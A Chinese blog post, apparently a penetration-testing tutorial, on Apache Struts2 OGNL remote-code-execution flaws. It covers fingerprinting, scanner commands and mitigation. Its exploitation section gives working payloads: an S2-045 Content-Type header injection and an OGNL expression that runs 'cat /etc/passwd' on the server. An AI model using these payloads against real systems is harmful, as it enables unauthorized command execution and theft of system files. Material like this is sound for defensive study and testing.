首页 > 其他分享 >Struts2漏洞(如S2-045、S2-052、S2-057等)

Struts2漏洞(如S2-045、S2-052、S2-057等)

时间:2024-12-16 14:28:44浏览次数:5  
标签:S2 Struts 漏洞 Struts2 action 045 com

1. 什么样的网站可能存在Struts2漏洞?

1.1 使用Apache Struts框架的网站

  • Struts应用场景

    • Java Web应用开发。
    • 企业级应用(如ERP、CRM系统)。
    • 政府、银行、医疗等高安全性需求的行业。
  • 常见特征

    • .action.do 结尾的URL。
      http://example.com/login.action
      http://example.com/user/save.do
      
    • URL中可能包含类似动态参数:
      http://example.com/page.action?id=1
      
  • 流行版本

    • Apache Struts 2.0.x 到 2.5.x(老版本尤其危险)。

2. 漏洞存在的原因

Struts2漏洞大多是由于框架在处理OGNL表达式时未正确过滤用户输入,导致远程代码执行(RCE)。常见漏洞包括:

  • S2-045:Content-Type头导致的远程代码执行。
  • S2-052:REST插件中OGNL注入漏洞。
  • S2-057:多部分请求处理漏洞。

3. 如何识别可能存在Struts2漏洞的网站

3.1 信息收集

  • 目录扫描:使用工具如dirsearch查找可能的Struts端点。

    dirsearch -u http://target.com -e .action,.do
    
  • 文件泄露: 尝试访问/struts/webconsole.html/struts2-showcase/等默认页面,判断是否使用Struts框架。

  • HTTP响应头:检查是否存在与Struts相关的特征,如:

    X-Powered-By: Struts
    Server: Apache-Coyote/1.1
    

3.2 手动探测

  • .action.do结尾的URL中插入OGNL表达式,测试是否回显:
    ${100+100}
    ${"test".toUpperCase()}
    

4. 利用方式

4.1 远程代码执行(RCE)利用

  • 利用OGNL表达式执行恶意命令:

    • 常见Payload(S2-045):
      Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Vulnerable')}.multipart/form-data
      
      如果漏洞存在,响应中会出现X-Test: Vulnerable头。
  • 自动化利用工具:

    1. Struts2-Scan:扫描Struts2漏洞。
      python struts2-scan.py -u http://target.com/page.action
      
    2. Exploit Scripts:使用现成的POC:

4.2 文件读取

某些Struts漏洞可导致文件读取(如配置文件或日志)。

  • 示例Payload:
    %{#req=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /etc/passwd').getInputStream())}
    

5. 预防和修复

  1. 升级Struts框架
    • 确保版本至少为2.5.20以上。
  2. 使用WAF
    • 配置防火墙以检测和拦截OGNL相关的攻击Payload。
  3. 输入验证
    • 严格限制用户输入的数据格式和范围。

6. 工具推荐

  1. Struts2漏洞扫描工具

    • Struts2-Scan:自动化检测工具。
    • Nuclei:配合Struts模板进行漏洞扫描。
  2. 手动测试工具

    • Burp Suite:拦截请求并插入OGNL表达式。
    • HTTPie:快速发送HTTP请求进行测试。

标签:S2,Struts,漏洞,Struts2,action,045,com
From: https://blog.csdn.net/qq_42699326/article/details/144486828

相关文章

  • VS2022 配置openCV方法
    第一步下载opencv库解压出来这里不做过多讲解 第二步配置环境变量  %path%\build\x64\vc16\bin   %path%这个替换成自己的路径 然后打开项目属性设置点击VC++目录链接器、输入、附件依赖分别添加 前面的是我自己的目录换成你们自己目录即可第一步添加库目录D......
  • #. 判断元素是否存在传统题1000ms256MiB
    题目描述有一个集合M是这样生成的:(1)已知k是集合M的元素;(2)如果y是M的元素,那么,2y+1和3y+1都是M的元素;(3)除了上述二种情况外,没有别的数能够成为M的一个元素。问题:任意给定kk和xx,请判断xx是否是MM的元素。这里的kk是无符号整数,xx 不大于 100000100000,如果是,则输出YES,否......
  • DTS202TC Foundation of Parallel Computing
     Modulecode andTitleDTS202TCFoundationofParallelComputingSchoolTitleSchoolofAIandAdvanced ComputingAssignmentTitleIndividual Assessment 2Submission DeadlineFriday Dec. 20th, 2024@ 11:59pmFinalWord ......
  • RS232自由转Profinet网关扫码枪连接plc程序
    你是否曾为如何在不编写繁杂代码的情况下,把条形码数据上传至PLC而烦恼呢?别担心,今天就给大家分享一个超简单的解决方案哦!在这里,要给大家介绍一组堪称“神奇搭档”的组合,那就是捷米的JM-RS232-PN(rs232转Profient网关)以及锐码的TC8850型号多功能无线扫码枪。当我们把......
  • Docker启动Nacos2.4.3并且使用MySQL
    1.拉取容器dockerpullnacos/nacos-server:v2.4.32.创建宿主机挂载目录mkdir-p/docker/nacos/logs/mkdir-p/docker/nacos/conf/3.启动临时容器并拷贝配置文件启动临时容器dockerrun-d--namenacos-temp-p8848:8848nacos/nacos-server:v2.4.3拷贝Nacos......
  • MSYS2 简介
    MSYS2简介MSYS2(MinGW-w64+MSYS2)是一个旨在为Windows提供类Unix环境和软件包管理系统的工具集。它允许你在Windows上运行许多原生的Unix/Linux工具和应用程序,特别适合开发跨平台的C/C++项目、构建开源软件以及使用常见的Linux开发工具。主要特点类Unix......
  • RS232自由转Profinet网关扫码枪连接plc西门子
    你是否曾为如何在不编写繁杂代码的情况下,把条形码数据上传至PLC而烦恼呢?别担心,今天就给大家分享一个超简单的解决方案哦!在这里,要给大家介绍一组堪称“神奇搭档”的组合,那就是捷米的JM-RS232-PN(rs232转Profient网关)以及锐码的TC8850型号多功能无线扫码枪。当我们把这二......
  • 做题随笔:P10453
    Solution这里是博客:Tenil,还没装修,还请见谅。一些闲话写之前看过大家的题解,觉得都写的很好,所以本蒟蒻这篇也不大抱希望,就当做完题写个随笔?题意原题链接给定NxM矩阵与T个特殊点,每次操作可以将相邻点进行交换,且每行、每列首尾也算作相邻,求使每行特殊点数相同,每列相同,每行......
  • PS1045L-ASEMI小家电专用贴片二极管PS1045L
    编辑:llPS1045L-ASEMI小家电专用贴片二极管PS1045L型号:PS1045L品牌:ASEMI封装:TO-277正向电流:10A反向电压:45V正向压降:0.44V~0.47V引线数量:2芯片个数:1芯片尺寸:MIL漏电流:10ua恢复时间:35ns浪涌电流:200A芯片材质:正向电压:1.10V封装尺寸:如图特性:小家电专用二极管工作结温......
  • OCS2::legged_robot::SwingTrajectoryPlanner_摆动腿轨迹规划
    计算特定时间点指定腿的垂直速度约束\(v_z=trajectory[index].velocity(time)\)scalar_tSwingTrajectoryPlanner::getZvelocityConstraint(size_tleg,scalar_ttime)const{constautoindex=lookup::findIndexInTimeArray(feetHeightTrajectoriesEvents_[leg],time);......